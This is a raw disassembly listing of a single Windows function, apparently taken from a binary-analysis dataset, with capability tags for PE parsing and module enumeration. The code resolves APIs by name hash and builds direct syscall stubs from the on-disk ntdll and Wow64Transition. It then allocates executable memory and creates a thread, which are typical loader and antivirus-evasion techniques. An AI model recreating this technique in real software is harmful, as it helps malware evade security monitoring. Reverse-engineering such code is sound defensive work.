Function at 0x1014c6f0
Capabilities:
Enumerate pe sections
Enumerate process modules
Parse pe header
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x101bc561
mov eax, dword fs:[0]
push eax
sub esp, 0xdb8
mov eax, dword [0x10210050]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
cmp dword [ebp + 0xc], 1
mov esi, dword [ebp + 8]
jne 0x10150a13
push esi
call dword [sym.imp.KERNEL32.dll_DisableThreadLibraryCalls]
push 0x1014c6e0
call dword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
push 0x1014c6e0
push 1
call dword [sym.imp.KERNEL32.dll_AddVectoredExceptionHandler]
push 8
call fcn.1016fd4c
mov edx, dword [0x102b2e10]
add esp, 4
mov ecx, dword [ebp + 0x10]
mov edi, dword [sym.imp.KERNEL32.dll_Module32Next]
mov dword [eax], esi
mov esi, dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov dword [ebp - 0xd30], eax
mov dword [eax + 4], ecx
test dl, 1
jne 0x1014cf70
or edx, 1
mov dword [0x102b2e10], edx
mov dword [ebp - 4], 0
mov eax, dword [0x102b2e20]
test al, 1
jne 0x1014c804
or eax, 1
mov dword [0x102b2e20], eax
mov byte [ebp - 4], 1
lea eax, [ebp - 0xd5a]
push eax
lea ecx, [ebp - 0xd42]
mov dword [0x102b2e2c], 0
push ecx
lea edx, [ebp - 0xd48]
mov dword [ebp - 0xd48], 0x25ff
xorps xmm0, xmm0
mov word [ebp - 0xd44], 0
push edx
mov ecx, 0x102b2e24
movq qword [0x102b2e24], xmm0
call fcn.10150a40
push 0x101c1270
call fcn.10170081
add esp, 4
mov byte [ebp - 4], 0
mov edx, dword [0x102b2e10]
mov eax, dword [0x102b2e20]
test al, 2
jne 0x1014c891
or eax, 2
mov dword [0x102b2e20], eax
mov byte [ebp - 4], 2
lea eax, [ebp - 0xd59]
push eax
lea ecx, [ebp - 0xd49]
mov dword [0x102b2df8], 0
push ecx
lea edx, [ebp - 0xd58]
mov dword [ebp - 0xd58], 0xb8
xorps xmm0, xmm0
mov dword [ebp - 0xd54], 0xba00
push edx
mov ecx, 0x102b2df0
movq qword [0x102b2df0], xmm0
mov dword [ebp - 0xd50], 0xd2ff0000
mov word [ebp - 0xd4c], 0xc2
mov byte [ebp - 0xd4a], 0
call fcn.10150a40
push 0x101c1260
call fcn.10170081
add esp, 4
mov byte [ebp - 4], 0
mov edx, dword [0x102b2e10]
mov ecx, dword [0x102b1f08]
test ecx, ecx
jne 0x1014cf61
mov eax, dword [0x102b2e28]
sub eax, dword [0x102b2e24]
mov dword [ebp - 0x14], eax
mov eax, dword [0x102b2e30]
test eax, eax
jne 0x1014cab4
push eax
push 8
mov dword [ebp - 0xd24], 0x224
call esi
mov esi, eax
lea eax, [ebp - 0xd24]
push eax
push esi
mov dword [ebp - 0xd28], esi
call dword [sym.imp.KERNEL32.dll_Module32First]
test eax, eax
je 0x1014c9c4
lea eax, [ebp - 0xd24]
push eax
push esi
call edi
test eax, eax
je 0x1014c9c4
nop dword [eax]
lea eax, [ebp - 0xd04]
push eax
lea ecx, [ebp - 0x90]
call fcn.100400e0
mov byte [ebp - 4], 3
lea eax, [ebp - 0xd78]
push eax
lea ecx, [ebp - 0x90]
call fcn.10082650
lea ecx, [ebp - 0x90]
mov edi, dword [eax]
lea eax, [ebp - 0xd70]
push eax
call fcn.10082630
lea ecx, [ebp - 0x90]
mov esi, dword [eax]
lea eax, [ebp - 0xda4]
push eax
call fcn.10082650
push edi
push esi
mov edx, fcn.10180cc4
lea ecx, [ebp - 0xd6c]
push dword [eax]
call fcn.100ba480
add esp, 0xc
lea ecx, [ebp - 0x90]
call fcn.10045600
mov edx, 0x811c9dc5
mov ecx, eax
call fcn.100644d0
cmp eax, 0xa62a3b3b
je 0x1014c9df
mov byte [ebp - 4], 7
lea ecx, [ebp - 0x90]
call fcn.100403e0
mov byte [ebp - 4], 0
lea eax, [ebp - 0x90]
mov dword [ebp - 0xd2c], eax
mov byte [ebp - 4], 0
lea eax, [ebp - 0xd24]
mov esi, dword [ebp - 0xd28]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_Module32Next]
test eax, eax
jne 0x1014c900
mov eax, dword [sym.imp.KERNEL32.dll_CloseHandle]
push esi
call eax
xor edi, edi
mov eax, 0x5a4d
cmp word [edi], ax
je 0x1014ca17
xor eax, eax
jmp 0x1014caa3
push dword [ebp - 0xd28]
mov eax, dword [sym.imp.KERNEL32.dll_CloseHandle]
call eax
mov edi, dword [ebp - 0xd08]
mov byte [ebp - 4], 4
lea ecx, [ebp - 0x90]
call fcn.100403e0
mov byte [ebp - 4], 0
lea eax, [ebp - 0x90]
mov dword [ebp - 0xd2c], eax
mov byte [ebp - 4], 0
jmp 0x1014c9ce
mov eax, dword [edi + 0x3c]
cmp dword [eax + edi], 0x4550
je 0x1014ca27
xor eax, eax
jmp 0x1014caa3
mov ecx, dword [eax + edi + 0x78]
xor esi, esi
mov eax, dword [ecx + edi + 0x20]
add ecx, edi
add eax, edi
mov dword [ebp - 0xd28], ecx
mov dword [ebp - 0xd3c], eax
mov dword [ebp - 0x44c], 0xffffffff
cmp dword [ecx + 0x14], esi
jbe 0x1014ca81
mov ecx, dword [eax + esi*4]
mov edx, 0x811c9dc5
lea ecx, [ecx + edi]
call fcn.100644d0
mov ecx, dword [ebp - 0xd28]
cmp eax, 0xca67b978
je 0x1014ca7b
mov eax, dword [ebp - 0xd3c]
inc esi
cmp esi, dword [ecx + 0x14]
jb 0x1014ca50
jmp 0x1014ca81
mov dword [ebp - 0x44c], esi
mov esi, dword [ebp - 0x44c]
cmp esi, dword [ecx + 0x14]
jbe 0x1014ca90
xor eax, eax
jmp 0x1014caa3
mov edx, dword [ecx + 0x24]
mov ecx, dword [ecx + 0x1c]
add edx, edi
add ecx, edi
movzx eax, word [edx + esi*2]
mov eax, dword [ecx + eax*4]
add eax, edi
mov edi, dword [sym.imp.KERNEL32.dll_Module32Next]
mov esi, dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov dword [0x102b2e30], eax
push 0x40
push 0x3000
lea ecx, [ebp - 0x14]
push ecx
push 0
push 0x102b1f0c
push 0xffffffffffffffff
call eax
mov eax, dword [0x102b2e28]
mov ecx, dword [0x102b2e24]
sub eax, ecx
mov dword [ebp - 0x14], eax
mov eax, dword [0x102b1f10]
test eax, eax
jne 0x1014ccef
mov edx, 0x811c9dc5
mov ecx, str.Wow64Transition
call fcn.100644d0
mov edx, 0x811c9dc5
mov dword [ebp - 0xd3c], eax
mov ecx, str.win32u.dll
call fcn.100644d0
push 0
push 8
mov dword [ebp - 0x44c], eax
mov dword [ebp - 0xb00], 0x224
call esi
mov esi, eax
lea eax, [ebp - 0xb00]
push eax
push esi
mov dword [ebp - 0xd28], esi
call dword [sym.imp.KERNEL32.dll_Module32First]
test eax, eax
je 0x1014cc01
lea eax, [ebp - 0xb00]
push eax
push esi
call edi
test eax, eax
je 0x1014cc01
lea eax, [ebp - 0xae0]
push eax
lea ecx, [ebp - 0x78]
call fcn.100400e0
mov byte [ebp - 4], 0xa
lea eax, [ebp - 0xda8]
push eax
lea ecx, [ebp - 0x78]
call fcn.10082650
lea ecx, [ebp - 0x78]
mov edi, dword [eax]
lea eax, [ebp - 0xda0]
push eax
call fcn.10082630
lea ecx, [ebp - 0x78]
mov esi, dword [eax]
lea eax, [ebp - 0xd9c]
push eax
call fcn.10082650
push edi
push esi
mov edx, fcn.10180cc4
lea ecx, [ebp - 0xd68]
push dword [eax]
call fcn.100ba480
add esp, 0xc
lea ecx, [ebp - 0x78]
call fcn.10045600
mov edx, 0x811c9dc5
mov ecx, eax
call fcn.100644d0
cmp eax, dword [ebp - 0x44c]
je 0x1014cc1b
mov byte [ebp - 4], 0xe
lea ecx, [ebp - 0x78]
call fcn.100403e0
mov byte [ebp - 4], 0
lea eax, [ebp - 0x78]
mov dword [ebp - 0xd2c], eax
mov byte [ebp - 4], 0
lea eax, [ebp - 0xb00]
mov esi, dword [ebp - 0xd28]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_Module32Next]
test eax, eax
jne 0x1014cb51
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor edi, edi
mov eax, 0x5a4d
cmp word [edi], ax
je 0x1014cc4c
xor eax, eax
jmp 0x1014cce4
push dword [ebp - 0xd28]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edi, dword [ebp - 0xae4]
mov byte [ebp - 4], 0xb
lea ecx, [ebp - 0x78]
call fcn.100403e0
mov byte [ebp - 4], 0
lea eax, [ebp - 0x78]
mov dword [ebp - 0xd2c], eax
mov byte [ebp - 4], 0
jmp 0x1014cc0a
mov eax, dword [edi + 0x3c]
cmp dword [eax + edi], 0x4550
je 0x1014cc5f
xor eax, eax
jmp 0x1014cce4
mov ecx, dword [eax + edi + 0x78]
xor esi, esi
mov eax, dword [ecx + edi + 0x20]
add ecx, edi
add eax, edi
mov dword [ebp - 0xd28], ecx
mov dword [ebp - 0xd38], eax
mov dword [ebp - 0x44c], 0xffffffff
cmp dword [ecx + 0x14], esi
jbe 0x1014ccc2
nop dword [eax + eax]
mov ecx, dword [eax + esi*4]
mov edx, 0x811c9dc5
lea ecx, [ecx + edi]
call fcn.100644d0
mov ecx, dword [ebp - 0xd28]
cmp eax, dword [ebp - 0xd3c]
je 0x1014ccbc
mov eax, dword [ebp - 0xd38]
inc esi
cmp esi, dword [ecx + 0x14]
jb 0x1014cc90
jmp 0x1014ccc2
mov dword [ebp - 0x44c], esi
mov esi, dword [ebp - 0x44c]
cmp esi, dword [ecx + 0x14]
jbe 0x1014ccd1
xor eax, eax
jmp 0x1014cce4
mov edx, dword [ecx + 0x24]
mov ecx, dword [ecx + 0x1c]
add edx, edi
add ecx, edi
movzx eax, word [edx + esi*2]
mov eax, dword [ecx + eax*4]
add eax, edi
mov ecx, dword [0x102b2e24]
mov dword [0x102b1f10], eax
mov dword [ecx + 2], eax
push dword [ebp - 0x14]
push dword [0x102b2e24]
push dword [0x102b1f0c]
call fcn.10171890
mov eax, dword [0x102b2df4]
add esp, 0xc
sub eax, dword [0x102b2df0]
mov dword [ebp - 0x14], eax
mov eax, dword [0x102b2e30]
mov dword [ebp - 0x448], 0
test eax, eax
jne 0x1014cf08
push eax
push 8
mov dword [ebp - 0x8dc], 0x224
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov esi, eax
lea eax, [ebp - 0x8dc]
push eax
push esi
mov dword [ebp - 0xd28], esi
call dword [sym.imp.KERNEL32.dll_Module32First]
test eax, eax
je 0x1014ce24
lea eax, [ebp - 0x8dc]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_Module32Next]
test eax, eax
je 0x1014ce24
lea eax, [ebp - 0x8bc]
push eax
lea ecx, [ebp - 0x60]
call fcn.100400e0
mov byte [ebp - 4], 0x11
lea eax, [ebp - 0xd98]
push eax
lea ecx, [ebp - 0x60]
call fcn.10082650
lea ecx, [ebp - 0x60]
mov edi, dword [eax]
lea eax, [ebp - 0xd94]
push eax
call fcn.10082630
lea ecx, [ebp - 0x60]
mov esi, dword [eax]
lea eax, [ebp - 0xd90]
push eax
call fcn.10082650
push edi
push esi
mov edx, fcn.10180cc4
lea ecx, [ebp - 0xd64]
push dword [eax]
call fcn.100ba480
add esp, 0xc
lea ecx, [ebp - 0x60]
call fcn.10045600
mov edx, 0x811c9dc5
mov ecx, eax
call fcn.100644d0
cmp eax, 0xa62a3b3b
je 0x1014ce3e
mov byte [ebp - 4], 0x15
lea ecx, [ebp - 0x60]
call fcn.100403e0
mov byte [ebp - 4], 0
lea eax, [ebp - 0x60]
mov dword [ebp - 0xd2c], eax
mov byte [ebp - 4], 0
lea eax, [ebp - 0x8dc]
mov esi, dword [ebp - 0xd28]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_Module32Next]
test eax, eax
jne 0x1014cd75
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor edi, edi
mov eax, 0x5a4d
cmp word [edi], ax
je 0x1014ce6f
xor eax, eax
jmp 0x1014cf03
push dword [ebp - 0xd28]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edi, dword [ebp - 0x8c0]
mov byte [ebp - 4], 0x12
lea ecx, [ebp - 0x60]
call fcn.100403e0
mov byte [ebp - 4], 0
lea eax, [ebp - 0x60]
mov dword [ebp - 0xd2c], eax
mov byte [ebp - 4], 0
jmp 0x1014ce2d
mov eax, dword [edi + 0x3c]
cmp dword [eax + edi], 0x4550
je 0x1014ce82
xor eax, eax
jmp 0x1014cf03
mov ecx, dword [eax + edi + 0x78]
xor esi, esi
mov eax, dword [ecx + edi + 0x20]
add ecx, edi
add eax, edi
mov dword [ebp - 0xd28], ecx
mov dword [ebp - 0xd3c], eax
mov dword [ebp - 0x44c], 0xffffffff
cmp dword [ecx + 0x14], esi
jbe 0x1014cee1
nop dword [eax + eax]
mov ecx, dword [eax + esi*4]
mov edx, 0x811c9dc5
lea ecx, [ecx + edi]
call fcn.100644d0
mov ecx, dword [ebp - 0xd28]
cmp eax, 0xca67b978
je 0x1014cedb
mov eax, dword [ebp - 0xd3c]
inc esi
cmp esi, dword [ecx + 0x14]
jb 0x1014ceb0
jmp 0x1014cee1
mov dword [ebp - 0x44c], esi
mov esi, dword [ebp - 0x44c]
cmp esi, dword [ecx + 0x14]
jbe 0x1014cef0
xor eax, eax
jmp 0x1014cf03
mov edx, dword [ecx + 0x24]
mov ecx, dword [ecx + 0x1c]
add edx, edi
add ecx, edi
movzx eax, word [edx + esi*2]
mov eax, dword [ecx + eax*4]
add eax, edi
mov dword [0x102b2e30], eax
push 0x40
push 0x3000
lea ecx, [ebp - 0x14]
push ecx
push 0
lea ecx, [ebp - 0x448]
push ecx
push 0xffffffffffffffff
call eax
mov eax, dword [0x102b2df4]
mov ecx, dword [0x102b2df0]
sub eax, ecx
mov dword [ebp - 0x14], eax
mov eax, dword [0x102b1f0c]
mov dword [ecx + 6], eax
push dword [ebp - 0x14]
push dword [0x102b2df0]
push dword [ebp - 0x448]
call fcn.10171890
mov ecx, dword [ebp - 0x448]
add esp, 0xc
mov edx, dword [0x102b2e10]
mov dword [0x102b1f08], ecx
mov dword [0x102b2e3c], ecx
mov dword [ebp - 4], 0xffffffff
jmp 0x1014cf76
mov ecx, dword [0x102b2e3c]
mov edi, dword [sym.imp.WINTRUST.dll_WinVerifyTrust]
test dl, 2
jne 0x1014d597
or edx, 2
mov dword [0x102b2e10], edx
mov dword [ebp - 4], 0x18
xorps xmm0, xmm0
push str.C:WindowsSysWOW64_ntdll.dll
lea ecx, [ebp - 0xa8]
movlpd qword [ebp - 0xd80], xmm0
call fcn.100400e0
mov byte [ebp - 4], 0x19
lea eax, [ebp - 0xd84]
push eax
lea ecx, [ebp - 0xa8]
call fcn.10082630
lea ecx, [ebp - 0xa8]
mov esi, dword [eax]
lea eax, [ebp - 0xd88]
push eax
call fcn.10082650
lea ecx, [ebp - 0xd5b]
push ecx
push esi
push dword [eax]
lea ecx, [ebp - 0xc0]
call fcn.10150ca0
mov byte [ebp - 4], 0x1a
lea ecx, [ebp - 0xc0]
mov dword [ebp - 0x460], 0x10
call fcn.101253b0
mov dword [ebp - 0x45c], eax
lea eax, [ebp - 0x460]
mov dword [ebp - 0x47c], eax
lea eax, [ebp - 0x494]
push eax
lea eax, [ebp - 0x24]
mov dword [ebp - 0x458], 0
push eax
push 0
mov dword [ebp - 0x454], 0
mov dword [ebp - 0x24], 0xaac56b
mov dword [ebp - 0x20], 0x11d0cd44
mov dword [ebp - 0x1c], 0xc000c28c
mov dword [ebp - 0x18], 0xee95c24f
mov dword [ebp - 0x46c], 0
mov dword [ebp - 0x464], 0
mov dword [ebp - 0x494], 0x34
mov dword [ebp - 0x490], 0
mov dword [ebp - 0x48c], 0
mov dword [ebp - 0x488], 2
mov dword [ebp - 0x484], 0
mov dword [ebp - 0x480], 1
mov dword [ebp - 0x478], 1
mov dword [ebp - 0x474], 0
mov dword [ebp - 0x470], 0
mov dword [ebp - 0x468], 0
call edi
mov esi, eax
mov dword [ebp - 0x478], 2
lea eax, [ebp - 0x494]
push eax
lea eax, [ebp - 0x24]
push eax
push 0
call edi
mov byte [ebp - 4], 0x1b
lea ecx, [ebp - 0xc0]
call fcn.10082670
mov byte [ebp - 4], 0x19
lea eax, [ebp - 0xc0]
mov dword [ebp - 0xd2c], eax
mov byte [ebp - 4], 0x1e
lea ecx, [ebp - 0xa8]
call fcn.100403e0
mov byte [ebp - 4], 0x18
lea eax, [ebp - 0xa8]
mov dword [ebp - 0xd60], eax
mov byte [ebp - 4], 0x18
test esi, esi
jne 0x1014d572
push 0xb8
lea eax, [ebp - 0x178]
push esi
push eax
call fcn.10171fe0
add esp, 0xc
lea ecx, [ebp - 0x178]
push 1
push 0x40
push 0x24
push str.C:WindowsSysWOW64_ntdll.dll
call fcn.1004d850
mov byte [ebp - 4], 0x21
lea eax, [ebp - 0xdc4]
push eax
lea ecx, [ebp - 0x178]
call fcn.1013fbd0
push 0
push 0
push 0
mov esi, dword [eax + 8]
lea ecx, [ebp - 0x178]
add esi, dword [eax]
call fcn.1013fcf0
xorps xmm0, xmm0
mov dword [ebp - 0x28], 0
movq qword [ebp - 0x30], xmm0
lea ecx, [ebp - 0x30]
push esi
mov dword [ebp - 0x30], 0
mov dword [ebp - 0x2c], 0
mov dword [ebp - 0x28], 0
call fcn.10150ee0
mov byte [ebp - 4], 0x22
lea ecx, [ebp - 0x178]
push 0
push esi
push dword [ebp - 0x30]
call fcn.1013fe40
mov ecx, dword [eax]
mov ecx, dword [ecx + 4]
test byte [ecx + eax + 0xc], 6
jne 0x1014d51c
mov eax, dword [ebp - 0x30]
mov ecx, 0x5a4d
mov dword [ebp - 0xd38], eax
cmp word [eax], cx
je 0x1014d207
xor eax, eax
mov esi, dword [eax + 1]
movzx eax, word [eax + 0xd]
mov word [ebp - 0xd7c], ax
jmp 0x1014d522
mov esi, dword [eax + 0x3c]
add esi, eax
mov dword [ebp - 0xd40], esi
cmp dword [esi], 0x4550
je 0x1014d22f
xor eax, eax
mov esi, dword [eax + 1]
movzx eax, word [eax + 0xd]
mov word [ebp - 0xd7c], ax
jmp 0x1014d522
mov edi, dword [esi + 0x78]
test edi, edi
je 0x1014d27e
movzx ecx, word [esi + 0x14]
xor edx, edx
movzx eax, word [esi + 6]
add ecx, 0x18
add ecx, esi
mov dword [ebp - 0xd28], eax
test eax, eax
je 0x1014d274
nop
mov esi, dword [ecx + 0xc]
cmp edi, esi
jb 0x1014d266
mov eax, dword [ecx + 8]
add eax, esi
cmp edi, eax
jb 0x1014d26e
mov eax, dword [ebp - 0xd28]
inc edx
add ecx, 0x28
cmp edx, eax
jb 0x1014d250
mov esi, dword [ebp - 0xd40]
mov eax, dword [ecx + 0x14]
sub eax, dword [ecx + 0xc]
add eax, edi
jmp 0x1014d280
mov eax, edi
mov ecx, dword [ebp - 0xd38]
add eax, ecx
mov dword [ebp - 0xd3c], eax
mov edi, dword [eax + 0x20]
test edi, edi
je 0x1014d2de
movzx ecx, word [esi + 0x14]
xor edx, edx
movzx eax, word [esi + 6]
add ecx, 0x18
add ecx, esi
mov dword [ebp - 0xd28], eax
test eax, eax
je 0x1014d2ce
nop
mov esi, dword [ecx + 0xc]
cmp edi, esi
jb 0x1014d2c6
mov eax, dword [ecx + 8]
add eax, esi
cmp edi, eax
jb 0x1014d2ce
mov eax, dword [ebp - 0xd28]
inc edx
add ecx, 0x28
cmp edx, eax
jb 0x1014d2b0
mov eax, dword [ecx + 0x14]
sub eax, dword [ecx + 0xc]
mov ecx, dword [ebp - 0xd38]
add eax, edi
jmp 0x1014d2e0
mov eax, edi
add eax, ecx
mov dword [ebp - 0x44c], 0xffffffff
mov ecx, dword [ebp - 0xd3c]
xor esi, esi
mov dword [ebp - 0xd2c], eax
mov dword [ebp - 0xd28], esi
cmp dword [ecx + 0x14], esi
jbe 0x1014d3a3
nop dword [eax]
mov edi, dword [eax + esi*4]
test edi, edi
je 0x1014d364
mov edx, dword [ebp - 0xd40]
xor esi, esi
movzx eax, word [edx + 0x14]
lea ecx, [edx + 0x18]
add ecx, eax
movzx eax, word [edx + 6]
mov dword [ebp - 0xd60], eax
test eax, eax
je 0x1014d354
mov edx, dword [ecx + 0xc]
cmp edi, edx
jb 0x1014d34c
mov eax, dword [ecx + 8]
add eax, edx
cmp edi, eax
jb 0x1014d354
mov eax, dword [ebp - 0xd60]
inc esi
add ecx, 0x28
cmp esi, eax
jb 0x1014d336
mov eax, dword [ecx + 0x14]
sub eax, dword [ecx + 0xc]
mov esi, dword [ebp - 0xd28]
add eax, edi
jmp 0x1014d366
xor eax, eax
mov ecx, dword [ebp - 0xd38]
mov edx, 0x811c9dc5
add ecx, eax
call fcn.100644d0
cmp eax, 0xed0594da
je 0x1014d39d
mov eax, dword [ebp - 0xd3c]
inc esi
mov dword [ebp - 0xd28], esi
cmp esi, dword [eax + 0x14]
mov eax, dword [ebp - 0xd2c]
jb 0x1014d310
jmp 0x1014d3a3
mov dword [ebp - 0x44c], esi
mov eax, dword [ebp - 0xd3c]
mov ecx, dword [ebp - 0x44c]
cmp ecx, dword [eax + 0x14]
jbe 0x1014d3c9
xor eax, eax
mov esi, dword [eax + 1]
movzx eax, word [eax + 0xd]
mov word [ebp - 0xd7c], ax
jmp 0x1014d522
mov edi, dword [eax + 0x24]
test edi, edi
je 0x1014d418
mov esi, dword [ebp - 0xd40]
xor edx, edx
movzx eax, word [esi + 0x14]
lea ecx, [esi + 0x18]
add ecx, eax
movzx eax, word [esi + 6]
mov dword [ebp - 0xd2c], eax
test eax, eax
je 0x1014d40e
nop
mov esi, dword [ecx + 0xc]
cmp edi, esi
jb 0x1014d406
mov eax, dword [ecx + 8]
add eax, esi
cmp edi, eax
jb 0x1014d40e
mov eax, dword [ebp - 0xd2c]
inc edx
add ecx, 0x28
cmp edx, eax
jb 0x1014d3f0
mov eax, dword [ecx + 0x14]
sub eax, dword [ecx + 0xc]
add eax, edi
jmp 0x1014d41a
mov eax, edi
mov ecx, dword [ebp - 0xd38]
lea esi, [eax + ecx]
mov eax, dword [ebp - 0xd3c]
mov dword [ebp - 0xd60], esi
mov edi, dword [eax + 0x1c]
test edi, edi
je 0x1014d494
mov ecx, dword [ebp - 0xd40]
xor edx, edx
movzx eax, word [ecx + 0x14]
add ecx, 0x18
add ecx, eax
mov eax, dword [ebp - 0xd40]
movzx eax, word [eax + 6]
mov dword [ebp - 0xd2c], eax
test eax, eax
je 0x1014d484
nop dword [eax + eax]
mov esi, dword [ecx + 0xc]
cmp edi, esi
jb 0x1014d476
mov eax, dword [ecx + 8]
add eax, esi
cmp edi, eax
jb 0x1014d47e
mov eax, dword [ebp - 0xd2c]
inc edx
add ecx, 0x28
cmp edx, eax
jb 0x1014d460
mov esi, dword [ebp - 0xd60]
mov eax, dword [ecx + 0x14]
sub eax, dword [ecx + 0xc]
mov ecx, dword [ebp - 0xd38]
add eax, edi
jmp 0x1014d496
mov eax, edi
add ecx, eax
mov eax, dword [ebp - 0x44c]
movzx eax, word [esi + eax*2]
mov edi, dword [ecx + eax*4]
test edi, edi
je 0x1014d504
mov esi, dword [ebp - 0xd40]
xor edx, edx
movzx eax, word [esi + 0x14]
lea ecx, [esi + 0x18]
add ecx, eax
movzx eax, word [esi + 6]
mov dword [ebp - 0xd2c], eax
test eax, eax
je 0x1014d4e6
mov esi, dword [ecx + 0xc]
cmp edi, esi
jb 0x1014d4de
mov eax, dword [ecx + 8]
add eax, esi
cmp edi, eax
jb 0x1014d4e6
mov eax, dword [ebp - 0xd2c]
inc edx
add ecx, 0x28
cmp edx, eax
jb 0x1014d4c8
mov eax, dword [ecx + 0x14]
sub eax, dword [ecx + 0xc]
add eax, edi
add eax, dword [ebp - 0xd38]
mov esi, dword [eax + 1]
movzx eax, word [eax + 0xd]
mov word [ebp - 0xd7c], ax
jmp 0x1014d522
mov eax, edi
add eax, dword [ebp - 0xd38]
mov esi, dword [eax + 1]
movzx eax, word [eax + 0xd]
mov word [ebp - 0xd7c], ax
jmp 0x1014d522
mov esi, dword [ebp - 0xd80]
mov edi, dword [ebp - 0xd7c]
mov byte [ebp - 4], 0x21
lea ecx, [ebp - 0x30]
call fcn.100583a0
mov byte [ebp - 4], 0x18
lea ecx, [ebp - 0x108]
call fcn.10043d80
lea eax, [ebp - 0x108]
mov dword [ebp - method.std::basic_ios_char__struct_std::char_traits_char__.virtual_0], vtable.std::basic_ios_char__struct_std::char_traits_char__.0
mov dword [ebp - 0xd2c], eax
mov byte [ebp - 4], 0x18
push eax
mov dword [ebp - method.std::ios_base.virtual_0], vtable.std::ios_base.0
call fcn.1016e78d
add esp, 4
jmp 0x1014d57e
mov edi, dword [ebp - 0xd7c]
mov esi, dword [ebp - 0xd80]
mov dword [0x102b2e40], esi
mov dword [0x102b2e44], edi
mov dword [ebp - 4], 0xffffffff
mov ecx, dword [0x102b2e3c]
mov eax, dword [ecx + 6]
mov eax, dword [eax + 2]
mov dword [ebp - 0xd3c], eax
mov eax, dword [0x102b1f10]
test eax, eax
jne 0x1014d7cf
mov edx, 0x811c9dc5
mov ecx, str.Wow64Transition
call fcn.100644d0
mov edx, 0x811c9dc5
mov dword [ebp - 0xd60], eax
mov ecx, str.win32u.dll
call fcn.100644d0
push 0
push 8
mov dword [ebp - 0xd2c], eax
mov dword [ebp - 0x6b8], 0x224
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov esi, eax
lea eax, [ebp - 0x6b8]
push eax
push esi
mov dword [ebp - 0xd28], esi
call dword [sym.imp.KERNEL32.dll_Module32First]
test eax, eax
je 0x1014d6de
lea eax, [ebp - 0x6b8]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_Module32Next]
test eax, eax
je 0x1014d6de
lea eax, [ebp - 0x698]
push eax
lea ecx, [ebp - 0x48]
call fcn.100400e0
mov dword [ebp - 4], 0x24
lea eax, [ebp - 0xd38]
push eax
lea ecx, [ebp - 0x48]
call fcn.10082650
lea ecx, [ebp - 0x48]
mov edi, dword [eax]
lea eax, [ebp - 0xd40]
push eax
call fcn.10082630
lea ecx, [ebp - 0x48]
mov esi, dword [eax]
lea eax, [ebp - 0xd8c]
push eax
call fcn.10082650
push edi
push esi
mov edx, fcn.10180cc4
lea ecx, [ebp - 0xd7c]
push dword [eax]
call fcn.100ba480
add esp, 0xc
lea ecx, [ebp - 0x48]
call fcn.10045600
mov edx, 0x811c9dc5
mov ecx, eax
call fcn.100644d0
cmp eax, dword [ebp - 0xd2c]
je 0x1014d6f8
mov dword [ebp - 4], 0x28
lea ecx, [ebp - 0x48]
call fcn.100403e0
mov dword [ebp - 4], 0xffffffff
lea eax, [ebp - 0x48]
mov dword [ebp - 0x44c], eax
mov dword [ebp - 4], 0xffffffff
lea eax, [ebp - 0x6b8]
mov esi, dword [ebp - 0xd28]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_Module32Next]
test eax, eax
jne 0x1014d622
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor edi, edi
mov eax, 0x5a4d
cmp word [edi], ax
je 0x1014d732
xor eax, eax
jmp 0x1014d7c4
push dword [ebp - 0xd28]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edi, dword [ebp - 0x69c]
mov dword [ebp - 4], 0x25
lea ecx, [ebp - 0x48]
call fcn.100403e0
mov dword [ebp - 4], 0xffffffff
lea eax, [ebp - 0x48]
mov dword [ebp - 0xd2c], eax
mov dword [ebp - 4], 0xffffffff
jmp 0x1014d6e7
mov eax, dword [edi + 0x3c]
cmp dword [eax + edi], 0x4550
je 0x1014d745
xor eax, eax
jmp 0x1014d7c4
mov ecx, dword [eax + edi + 0x78]
xor esi, esi
mov eax, dword [ecx + edi + 0x20]
add ecx, edi
add eax, edi
mov dword [ebp - 0xd28], ecx
mov dword [ebp - 0xd2c], eax
mov dword [ebp - 0x44c], 0xffffffff
cmp dword [ecx + 0x14], esi
jbe 0x1014d7a2
nop
mov ecx, dword [eax + esi*4]
mov edx, 0x811c9dc5
lea ecx, [ecx + edi]
call fcn.100644d0
mov ecx, dword [ebp - 0xd28]
cmp eax, dword [ebp - 0xd60]
je 0x1014d79c
mov eax, dword [ebp - 0xd2c]
inc esi
cmp esi, dword [ecx + 0x14]
jb 0x1014d770
jmp 0x1014d7a2
mov dword [ebp - 0x44c], esi
mov esi, dword [ebp - 0x44c]
cmp esi, dword [ecx + 0x14]
jbe 0x1014d7b1
xor eax, eax
jmp 0x1014d7c4
mov edx, dword [ecx + 0x24]
mov ecx, dword [ecx + 0x1c]
add edx, edi
add ecx, edi
movzx eax, word [edx + esi*2]
mov eax, dword [ecx + eax*4]
add eax, edi
mov ecx, dword [0x102b2e3c]
mov dword [0x102b1f10], eax
cmp dword [ebp - 0xd3c], eax
je 0x1014d7db
xor ecx, ecx
jmp 0x1014d7ed
mov eax, dword [0x102b2e40]
mov dword [ecx + 1], eax
movzx eax, word [0x102b2e44]
mov dword [ecx + 0xd], eax
push 0
push 0
push 0
push 0
push 1
push dword [ebp - 0xd30]
lea eax, [ebp - 0x450]
push 0
push 0xffffffffffffffff
push 0
push 0x1fffff
push eax
call ecx
mov eax, dword [0x102b2e0c]
mov dword [ebp - 0x444], 0x10007
test al, 1
jne 0x1014e00f
or eax, 1
mov dword [0x102b2e0c], eax
mov dword [ebp - 4], 0x2b
mov ecx, dword [0x102b2e20]
test cl, 1
jne 0x1014d8b2
or ecx, 1
mov dword [0x102b2e20], ecx
